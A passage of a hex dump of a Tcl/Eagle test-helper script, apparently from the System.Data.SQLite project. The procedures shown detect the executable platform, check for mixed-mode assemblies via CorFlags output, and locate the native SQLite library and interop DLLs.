4b 3a 20 54 68 69 73 20 5b 73 77 69 74 63 68 CK: This [switch 4000: 5d 20 61 73 73 75 6d 65 73 20 74 68 61 74 20 33 ] assumes that 3 4010: 32 2d 62 69 74 20 65 78 65 63 75 74 61 62 6c 65 2-bit executable 4020: 73 20 61 72 65 0d 0a 20 20 20 20 20 20 20 20 20 s are.. 4030: 20 20 20 20 20 23 20 20 20 20 20 20 20 61 6c 77 # alw 4040: 61 79 73 20 78 38 36 20 61 6e 64 20 74 68 61 74 ays x86 and that 4050: 20 36 34 2d 62 69 74 20 65 78 65 63 75 74 61 62 64-bit executab 4060: 6c 65 73 20 61 72 65 20 61 6c 77 61 79 73 0d 0a les are always.. 4070: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 20 # 4080: 20 20 20 20 20 20 78 36 34 2e 0d 0a 20 20 20 20 x64... 4090: 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 40a0: 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 switc 40b0: 68 20 2d 65 78 61 63 74 20 2d 2d 20 24 70 65 33 h -exact --$pe3 40c0: 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 2 {.. 40d0: 20 20 20 20 20 50 45 33 32 20 7b 0d 0a 20 20 20 PE32 {.. 40e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 s 40f0: 65 74 20 70 6c 61 74 66 6f 72 6d 20 57 69 6e 33 et platform Win3 4100: 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2.. 4110: 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. 4120: 20 20 20 20 20 20 50 45 33 32 2b 20 7b 0d 0a 20 PE32+ {.. 4130: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4140: 20 73 65 74 20 70 6c 61 74 66 6f 72 6d 20 78 36 set platform x6 4150: 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 4.. 4160: 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. 4170: 20 20 20 20 20 20 64 65 66 61 75 6c 74 20 7b 0d default {. 4180: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 4190: 20 20 20 73 65 74 20 70 6c 61 74 66 6f 72 6d 20 set platform 41a0: 22 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 "".. 41b0: 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 }.. 41c0: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 41d0: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 41e0: 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 20 set 41f0: 70 6c 61 74 66 6f 72 6d 20 22 22 0d 0a 20 20 20 platform "".. 4200: 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 4210: 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 4220: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 4230: 20 20 23 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 # NOTE: Attemp 4240: 74 20 74 6f 20 65 78 74 72 61 63 74 20 74 68 65 t to extract the 4250: 20 49 4c 4f 4e 4c 59 20 6c 69 6e 65 20 66 72 6f ILONLY line fro 4260: 6d 20 74 68 65 20 63 61 70 74 75 72 65 64 0d 0a m the captured.. 4270: 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 4280: 20 20 6f 75 74 70 75 74 2e 20 20 49 66 20 74 68 output. If th 4290: 69 73 20 76 61 6c 75 65 20 69 73 20 7a 65 72 6f is value is zero 42a0: 2c 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 , the specified 42b0: 66 69 6c 65 20 6d 75 73 74 0d 0a 20 20 20 20 20 file must.. 42c0: 20 20 20 20 20 23 20 20 20 20 20 20 20 62 65 20 # be 42d0: 61 20 6d 69 78 65 64 2d 6d 6f 64 65 20 61 73 73 a mixed-mode ass 42e0: 65 6d 62 6c 79 3b 20 6f 74 68 65 72 77 69 73 65 embly; otherwise 42f0: 2c 20 69 74 20 63 6f 6e 74 61 69 6e 73 20 6f 6e , it contains on 4300: 6c 79 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 ly.. # 4310: 20 20 20 20 20 20 6d 61 6e 61 67 65 64 20 63 6f managed co 4320: 6d 70 6f 6e 65 6e 74 73 2e 0d 0a 20 20 20 20 20 mponents... 4330: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 4340: 20 20 73 65 74 20 70 61 74 74 65 72 6e 20 7b 5e set pattern {^ 4350: 49 4c 4f 4e 4c 59 20 20 20 20 3a 20 28 30 7c 31 ILONLY : (0|1 4360: 29 5c 73 2b 24 7d 0d 0a 0d 0a 20 20 20 20 20 20 )\s+$}.... 4370: 20 20 20 20 69 66 20 7b 21 5b 72 65 67 65 78 70 if {![regexp 4380: 20 2d 6c 69 6e 65 20 2d 2d 20 24 70 61 74 74 65 -line --$patte 4390: 72 6e 20 24 65 78 65 63 20 64 75 6d 6d 79 20 69 rn $exec dummy i 43a0: 6c 4f 6e 6c 79 5d 7d 20 74 68 65 6e 20 7b 0d 0a lOnly]} then {.. 43b0: 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 retu 43c0: 72 6e 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 rn false.. 43d0: 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 }.... 43e0: 20 20 20 69 66 20 7b 21 24 69 6c 4f 6e 6c 79 7d if {!$ilOnly} 43f0: 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 4400: 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 return true 4410: 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 .. }.. 4420: 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 4430: 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 }.... #.. 4440: 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 74 # NOTE: If t 4450: 68 65 20 74 65 73 74 20 73 75 69 74 65 20 63 61 he test suite ca 4460: 6e 6e 6f 74 20 75 73 65 20 5b 65 78 65 63 5d 20 nnot use [exec] 4470: 6f 72 20 65 78 65 63 75 74 69 6f 6e 20 6f 66 20 or execution of 4480: 43 6f 72 46 6c 61 67 73 0d 0a 20 20 20 20 20 20 CorFlags.. 4490: 23 20 20 20 20 20 20 20 66 61 69 6c 65 64 2c 20 # failed, 44a0: 72 65 74 75 72 6e 20 66 61 6c 73 65 2e 0d 0a 20 return false... 44b0: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 72 65 #.. re 44c0: 74 75 72 6e 20 66 61 6c 73 65 0d 0a 20 20 20 20 turn false.. 44d0: 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 }..... proc g 44e0: 65 74 4e 61 74 69 76 65 4c 69 62 72 61 72 79 46 etNativeLibraryF 44f0: 69 6c 65 4e 61 6d 65 73 4f 6e 6c 79 20 7b 7d 20 ileNamesOnly {} 4500: 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 {.. #.. 4510: 20 20 23 20 4e 4f 54 45 3a 20 46 69 72 73 74 2c # NOTE: First, 4520: 20 63 68 65 63 6b 20 69 66 20 74 68 65 20 6c 69 check if the li 4530: 73 74 20 6f 66 20 6e 61 74 69 76 65 20 6c 69 62 st of native lib 4540: 72 61 72 79 20 66 69 6c 65 20 6e 61 6d 65 73 20 rary file names 4550: 68 61 73 20 62 65 65 6e 0d 0a 20 20 20 20 20 20 has been.. 4560: 23 20 20 20 20 20 20 20 6d 61 6e 75 61 6c 6c 79 # manually 4570: 20 6f 76 65 72 72 69 64 64 65 6e 2e 0d 0a 20 20 overridden... 4580: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 #.. if 4590: 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a {[info exists :: 45a0: 6e 61 74 69 76 65 5f 6c 69 62 72 61 72 79 5f 66 native_library_f 45b0: 69 6c 65 5f 6e 61 6d 65 73 5d 20 26 26 20 5c 0d ile_names] && \. 45c0: 0a 20 20 20 20 20 20 20 20 20 20 5b 6c 6c 65 6e . [llen 45d0: 67 74 68 20 24 3a 3a 6e 61 74 69 76 65 5f 6c 69 gth $::native_li 45e0: 62 72 61 72 79 5f 66 69 6c 65 5f 6e 61 6d 65 73 brary_file_names 45f0: 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 4600: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 4610: 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 6c 69 # NOTE: The li 4620: 73 74 20 6f 66 20 6e 61 74 69 76 65 20 6c 69 62 st of native lib 4630: 72 61 72 79 20 66 69 6c 65 20 6e 61 6d 65 73 20 rary file names 4640: 68 61 73 20 62 65 65 6e 20 6f 76 65 72 72 69 64 has been overrid 4650: 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 23 20 den;.. # 4660: 20 20 20 20 20 20 74 68 65 72 65 66 6f 72 65 2c therefore, 4670: 20 75 73 65 20 69 74 20 76 65 72 62 61 74 69 6d use it verbatim 4680: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 4690: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a return$:: 46a0: 6e 61 74 69 76 65 5f 6c 69 62 72 61 72 79 5f 66 native_library_f 46b0: 69 6c 65 5f 6e 61 6d 65 73 0d 0a 20 20 20 20 20 ile_names.. 46c0: 20 7d 20 65 6c 73 65 69 66 20 7b 5b 69 73 57 69 } elseif {[isWi 46d0: 6e 64 6f 77 73 5d 7d 20 74 68 65 6e 20 7b 0d 0a ndows]} then {.. 46e0: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 46f0: 20 20 20 23 20 4e 4f 54 45 3a 20 4f 74 68 65 72 # NOTE: Other 4700: 77 69 73 65 2c 20 6f 6e 20 57 69 6e 64 6f 77 73 wise, on Windows 4710: 2c 20 61 6c 77 61 79 73 20 75 73 65 20 74 68 65 , always use the 4720: 20 64 65 66 61 75 6c 74 20 66 69 6c 65 20 6e 61 default file na 4730: 6d 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 me.. # 4740: 20 20 20 20 22 73 71 6c 69 74 65 33 2e 64 6c 6c "sqlite3.dll 4750: 22 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 "... #.. 4760: 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b 6c return [l 4770: 69 73 74 20 73 71 6c 69 74 65 33 2e 64 6c 6c 5d ist sqlite3.dll] 4780: 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b .. } else { 4790: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 47a0: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 4f 74 68 # NOTE: Oth 47b0: 65 72 77 69 73 65 2c 20 72 65 74 75 72 6e 20 62 erwise, return b 47c0: 6f 74 68 20 74 68 65 20 67 65 6e 65 72 69 63 20 oth the generic 47d0: 50 4f 53 49 58 20 66 69 6c 65 20 6e 61 6d 65 20 POSIX file name 47e0: 61 6e 64 20 74 68 65 0d 0a 20 20 20 20 20 20 20 and the.. 47f0: 20 23 20 20 20 20 20 20 20 4d 61 63 20 4f 53 20 # Mac OS 4800: 58 20 66 69 6c 65 20 6e 61 6d 65 2c 20 73 69 6e X file name, sin 4810: 63 65 20 77 65 20 64 6f 20 6e 6f 74 20 63 75 72 ce we do not cur 4820: 72 65 6e 74 6c 79 20 68 61 76 65 20 61 6e 20 65 rently have an e 4830: 61 73 79 0d 0a 20 20 20 20 20 20 20 20 23 20 20 asy.. # 4840: 20 20 20 20 20 77 61 79 20 74 6f 20 64 65 74 65 way to dete 4850: 63 74 20 77 68 69 63 68 20 6f 66 20 74 68 6f 73 ct which of thos 4860: 65 20 70 6c 61 74 66 6f 72 6d 73 20 77 65 20 61 e platforms we a 4870: 72 65 20 72 75 6e 6e 69 6e 67 20 6f 6e 2e 0d 0a re running on... 4880: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 4890: 20 20 20 72 65 74 75 72 6e 20 5b 6c 69 73 74 20 return [list 48a0: 6c 69 62 73 71 6c 69 74 65 33 2e 73 6f 20 6c 69 libsqlite3.so li 48b0: 62 73 71 6c 69 74 65 33 2e 64 79 6c 69 62 5d 0d bsqlite3.dylib]. 48c0: 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d . }.. }. 48d0: 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 .... proc get 48e0: 4e 61 74 69 76 65 4c 69 62 72 61 72 79 46 69 6c NativeLibraryFil 48f0: 65 4e 61 6d 65 20 7b 20 7b 64 65 66 61 75 6c 74 eName { {default 4900: 20 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 ""} } {.. 4910: 73 65 74 20 64 69 72 65 63 74 6f 72 79 20 5b 66 set directory [f 4920: 69 6c 65 20 64 69 72 6e 61 6d 65 20 5b 67 65 74 ile dirname [get 4930: 43 6f 72 65 42 69 6e 61 72 79 46 69 6c 65 4e 61 CoreBinaryFileNa 4940: 6d 65 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 66 6f me]].... fo 4950: 72 65 61 63 68 20 66 69 6c 65 4e 61 6d 65 4f 6e reach fileNameOn 4960: 6c 79 20 5b 67 65 74 4e 61 74 69 76 65 4c 69 62 ly [getNativeLib 4970: 72 61 72 79 46 69 6c 65 4e 61 6d 65 73 4f 6e 6c raryFileNamesOnl 4980: 79 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 y] {.. se 4990: 74 20 66 69 6c 65 4e 61 6d 65 20 5b 66 69 6c 65 t fileName [file 49a0: 20 6a 6f 69 6e 20 24 64 69 72 65 63 74 6f 72 79 join $directory 49b0: 20 24 66 69 6c 65 4e 61 6d 65 4f 6e 6c 79 5d 0d$fileNameOnly]. 49c0: 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b ... if {[ 49d0: 66 69 6c 65 20 65 78 69 73 74 73 20 24 66 69 6c file exists $fil 49e0: 65 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a eName]} then {.. 49f0: 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e return 4a00: 20 24 66 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 20$fileName.. 4a10: 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a }.. }.. 4a20: 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 .. return $4a30: 64 65 66 61 75 6c 74 0d 0a 20 20 20 20 7d 0d 0a default.. }.. 4a40: 0c 0d 0a 20 20 20 20 70 72 6f 63 20 69 73 42 75 ... proc isBu 4a50: 69 6c 64 41 76 61 69 6c 61 62 6c 65 20 7b 20 6e ildAvailable { n 4a60: 61 74 69 76 65 20 64 69 72 65 63 74 6f 72 79 20 ative directory 4a70: 7b 76 61 72 4e 61 6d 65 20 22 22 7d 20 7d 20 7b {varName ""} } { 4a80: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 4a90: 20 23 20 4e 4f 54 45 3a 20 42 75 69 6c 64 20 74 # NOTE: Build t 4aa0: 68 65 20 66 75 6c 6c 79 20 71 75 61 6c 69 66 69 he fully qualifi 4ab0: 65 64 20 66 69 6c 65 20 6e 61 6d 65 20 66 6f 72 ed file name for 4ac0: 20 74 68 65 20 70 72 69 6d 61 72 79 20 61 73 73 the primary ass 4ad0: 65 6d 62 6c 79 0d 0a 20 20 20 20 20 20 23 20 20 embly.. # 4ae0: 20 20 20 20 20 63 6f 6e 74 61 69 6e 69 6e 67 20 containing 4af0: 74 68 65 20 53 79 73 74 65 6d 2e 44 61 74 61 2e the System.Data. 4b00: 53 51 4c 69 74 65 20 6d 61 6e 61 67 65 64 20 63 SQLite managed c 4b10: 6f 6d 70 6f 6e 65 6e 74 73 2e 20 20 49 74 0d 0a omponents. It.. 4b20: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 73 68 # sh 4b30: 6f 75 6c 64 20 62 65 20 6e 6f 74 65 64 20 74 68 ould be noted th 4b40: 61 74 20 74 68 69 73 20 61 73 73 65 6d 62 6c 79 at this assembly 4b50: 20 66 69 6c 65 20 6d 61 79 20 61 6c 73 6f 20 63 file may also c 4b60: 6f 6e 74 61 69 6e 20 74 68 65 0d 0a 20 20 20 20 ontain the.. 4b70: 20 20 23 20 20 20 20 20 20 20 6e 61 74 69 76 65 # native 4b80: 20 63 6f 6d 70 6f 6e 65 6e 74 73 2c 20 69 66 20 components, if 4b90: 61 20 6e 61 74 69 76 65 20 62 75 69 6c 64 20 69 a native build i 4ba0: 73 20 69 6e 20 75 73 65 2e 0d 0a 20 20 20 20 20 s in use... 4bb0: 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 66 69 #.. set fi 4bc0: 6c 65 4e 61 6d 65 20 5b 66 69 6c 65 20 6e 61 74 leName [file nat 4bd0: 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f ivename [file jo 4be0: 69 6e 20 24 64 69 72 65 63 74 6f 72 79 20 5c 0d in$directory \. 4bf0: 0a 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 . Syste 4c00: 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c m.Data.SQLite.dl 4c10: 6c 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 l]].... if 4c20: 7b 21 5b 66 69 6c 65 20 65 78 69 73 74 73 20 24 {![file exists $4c30: 66 69 6c 65 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 fileName]} then 4c40: 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 {.. retur 4c50: 6e 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 7d n false.. } 4c60: 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 .... #.. 4c70: 20 20 20 23 20 4e 4f 54 45 3a 20 41 74 74 65 6d # NOTE: Attem 4c80: 70 74 20 74 6f 20 61 75 74 6f 6d 61 74 69 63 61 pt to automatica 4c90: 6c 6c 79 20 64 65 74 65 63 74 20 69 66 20 74 68 lly detect if th 4ca0: 65 20 70 72 69 6d 61 72 79 20 61 73 73 65 6d 62 e primary assemb 4cb0: 6c 79 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 ly.. # 4cc0: 20 20 63 6f 6e 74 61 69 6e 73 20 61 6e 79 20 6e contains any n 4cd0: 61 74 69 76 65 20 63 6f 6d 70 6f 6e 65 6e 74 73 ative components 4ce0: 2c 20 69 66 20 6e 65 63 65 73 73 61 72 79 2e 0d , if necessary.. 4cf0: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 4d00: 69 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e 67 if {[string leng 4d10: 74 68 20 24 6e 61 74 69 76 65 5d 20 3d 3d 20 30 th$native] == 0 4d20: 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 4d30: 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 if {[string le 4d40: 6e 67 74 68 20 24 76 61 72 4e 61 6d 65 5d 20 3e ngth $varName] > 4d50: 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 0} then {.. 4d60: 20 20 20 20 20 20 75 70 76 61 72 20 31 20 24 76 upvar 1$v 4d70: 61 72 4e 61 6d 65 20 24 76 61 72 4e 61 6d 65 0d arName $varName. 4d80: 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 4d90: 20 20 20 20 20 20 73 65 74 20 6e 61 74 69 76 65 set native 4da0: 20 5b 69 73 4d 69 78 65 64 4d 6f 64 65 41 73 73 [isMixedModeAss 4db0: 65 6d 62 6c 79 20 24 66 69 6c 65 4e 61 6d 65 20 embly$fileName 4dc0: 24 76 61 72 4e 61 6d 65 5d 0d 0a 20 20 20 20 20 $varName].. 4dd0: 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 }.... #.. 4de0: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 # NOTE: If 4df0: 74 68 65 20 70 72 69 6d 61 72 79 20 61 73 73 65 the primary asse 4e00: 6d 62 6c 79 20 61 6c 73 6f 20 63 6f 6e 74 61 69 mbly also contai 4e10: 6e 73 20 74 68 65 20 6e 61 74 69 76 65 20 63 6f ns the native co 4e20: 6d 70 6f 6e 65 6e 74 73 2c 0d 0a 20 20 20 20 20 mponents,.. 4e30: 20 23 20 20 20 20 20 20 20 77 65 20 68 61 76 65 # we have 4e40: 20 65 76 65 72 79 74 68 69 6e 67 20 77 65 20 6e everything we n 4e50: 65 65 64 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 eed... #.. 4e60: 20 20 20 20 20 69 66 20 7b 24 6e 61 74 69 76 65 if {$native 4e70: 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 4e80: 20 20 72 65 74 75 72 6e 20 74 72 75 65 0d 0a 20 return true.. 4e90: 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 4ea0: 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 4eb0: 20 57 68 61 74 20 69 73 20 74 68 65 20 61 72 63 What is the arc 4ec0: 68 69 74 65 63 74 75 72 65 20 66 6f 72 20 74 68 hitecture for th 4ed0: 69 73 20 6d 61 63 68 69 6e 65 3f 0d 0a 20 20 20 is machine?.. 4ee0: 20 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 #.. set 4ef0: 61 72 63 68 69 74 65 63 74 75 72 65 20 5b 6d 61 architecture [ma 4f00: 63 68 69 6e 65 54 6f 50 6c 61 74 66 6f 72 6d 20 chineToPlatform 4f10: 24 3a 3a 74 63 6c 5f 70 6c 61 74 66 6f 72 6d 28 $::tcl_platform( 4f20: 6d 61 63 68 69 6e 65 29 20 74 72 75 65 5d 0d 0a machine) true].. 4f30: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 4f40: 20 23 20 4e 4f 54 45 3a 20 57 68 61 74 20 69 73 # NOTE: What is 4f50: 20 74 68 65 20 70 6c 61 74 66 6f 72 6d 20 66 6f the platform fo 4f60: 72 20 74 68 69 73 20 6d 61 63 68 69 6e 65 3f 0d r this machine?. 4f70: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 4f80: 73 65 74 20 70 6c 61 74 66 6f 72 6d 20 5b 6d 61 set platform [ma 4f90: 63 68 69 6e 65 54 6f 50 6c 61 74 66 6f 72 6d 20 chineToPlatform 4fa0: 24 3a 3a 74 63 6c 5f 70 6c 61 74 66 6f 72 6d 28$::tcl_platform( 4fb0: 6d 61 63 68 69 6e 65 29 5d 0d 0a 0d 0a 20 20 20 machine)].... 4fc0: 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 4fd0: 54 45 3a 20 42 75 69 6c 64 20 74 68 65 20 66 75 TE: Build the fu 4fe0: 6c 6c 79 20 71 75 61 6c 69 66 69 65 64 20 66 69 lly qualified fi 4ff0: 6c 65 20 6e 61 6d 65 20 66 6f 72 20 74 68 65 20 le name for the 5000: 69 6e 74 65 72 6f 70 20 61 73 73 65 6d 62 6c 79 interop assembly 5010: 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 5020: 63 6f 6e 74 61 69 6e 69 6e 67 20 74 68 65 20 53 containing the S 5030: 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 ystem.Data.SQLit 5040: 65 20 6e 61 74 69 76 65 20 63 6f 6d 70 6f 6e 65 e native compone 5050: 6e 74 73 2e 20 20 49 66 20 74 68 69 73 0d 0a 20 nts. If this.. 5060: 20 20 20 20 20 23 20 20 20 20 20 20 20 66 69 6c # fil 5070: 65 20 65 78 69 73 74 73 2c 20 77 65 20 73 68 6f e exists, we sho 5080: 75 6c 64 20 68 61 76 65 20 65 76 65 72 79 74 68 uld have everyth 5090: 69 6e 67 20 77 65 20 6e 65 65 64 2e 0d 0a 20 20 ing we need... 50a0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 #.. set 50b0: 20 66 69 6c 65 4e 61 6d 65 20 5b 66 69 6c 65 20 fileName [file 50c0: 6e 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 nativename [file 50d0: 20 6a 6f 69 6e 20 24 64 69 72 65 63 74 6f 72 79 join $directory 50e0: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 24 61 \..$a 50f0: 72 63 68 69 74 65 63 74 75 72 65 20 53 51 4c 69 rchitecture SQLi 5100: 74 65 2e 49 6e 74 65 72 6f 70 2e 64 6c 6c 5d 5d te.Interop.dll]] 5110: 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 66 .... if {[f 5120: 69 6c 65 20 65 78 69 73 74 73 20 24 66 69 6c 65 ile exists $file 5130: 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 Name]} then {.. 5140: 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 return tr 5150: 75 65 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 ue.. }.... 5160: 20 20 20 20 20 73 65 74 20 66 69 6c 65 4e 61 6d set fileNam 5170: 65 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 e [file nativena 5180: 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 24 64 me [file join$d 5190: 69 72 65 63 74 6f 72 79 20 5c 0d 0a 20 20 20 20 irectory \.. 51a0: 20 20 20 20 20 20 24 70 6c 61 74 66 6f 72 6d 20 $platform 51b0: 53 51 4c 69 74 65 2e 49 6e 74 65 72 6f 70 2e 64 SQLite.Interop.d 51c0: 6c 6c 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 ll]].... if 51d0: 20 7b 5b 66 69 6c 65 20 65 78 69 73 74 73 20 24 {[file exists$ 51e0: 66 69 6c 65 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 fileName]} then 51f0: 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 {.. retur 5200: 6e 20 74 72 75 65 0d 0a 20 20 20 20 20 20 7d 0d n true.. }. 5210: 0a 0d 0a 20 20 20 20 20 20 73 65 74 20 66 69 6c ... set fil 5220: 65 4e 61 6d 65 20 5b 66 69 6c 65 20 6e 61 74 69 eName [file nati 5230: 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 vename [file joi 5240: 6e 20 24 64 69 72 65 63 74 6f 72 79 20 5c 0d 0a n $directory \.. 5250: 20 20 20 20 20 20 20 20 20 20 53 51 4c 69 74 65 SQLite 5260: 2e 49 6e 74 65 72 6f 70 2e 64 6c 6c 5d 5d 0d 0a .Interop.dll]].. 5270: 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 66 69 6c .. if {[fil 5280: 65 20 65 78 69 73 74 73 20 24 66 69 6c 65 4e 61 e exists$fileNa 5290: 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 me]} then {.. 52a0: 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 return true 52b0: 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 52c0: 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 52d0: 54 45 3a 20 42 75 69 6c 64 20 74 68 65 20 66 75 TE: Build the fu 52e0: 6c 6c 79 20 71 75 61 6c 69 66 69 65 64 20 66 69 lly qualified fi 52f0: 6c 65 20 6e 61 6d 65 20 66 6f 72 20 74 68 65 20 le name for the 5300: 53 51 4c 69 74 65 20 63 6f 72 65 0d 0a 20 20 20 SQLite core.. 5310: 20 20 20 23 20 20 20 20 20 20 20 6c 69 62 72 61 # libra 5320: 72 79 2e 20 20 49 66 20 74 68 69 73 20 66 69 6c ry. If this fil 5330: 65 20 65 78 69 73 74 73 2c 20 77 65 20 73 68 6f e exists, we sho 5340: 75 6c 64 20 68 61 76 65 20 65 76 65 72 79 74 68 uld have everyth 5350: 69 6e 67 20 77 65 0d 0a 20 20 20 20 20 20 23 20 ing we.. # 5360: 20 20 20 20 20 20 6e 65 65 64 2e 0d 0a 20 20 20 need... 5370: 20 20 20 23 0d 0a 20 20 20 20 20 20 66 6f 72 65 #.. fore 5380: 61 63 68 20 66 69 6c 65 4e 61 6d 65 4f 6e 6c 79 ach fileNameOnly 5390: 20 5b 67 65 74 4e 61 74 69 76 65 4c 69 62 72 61 [getNativeLibra 53a0: 72 79 46 69 6c 65 4e 61 6d 65 73 4f 6e 6c 79 5d ryFileNamesOnly] 53b0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 {.. set 53c0: 66 69 6c 65 4e 61 6d 65 20 5b 66 69 6c 65 20 6e fileName [file n 53d0: 61 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 ativename [file 53e0: 6a 6f 69 6e 20 24 64 69 72 65 63 74 6f 72 79 20 join $directory 53f0: 5c 0d 0a 20 20 20 20 20 20 20 20 20 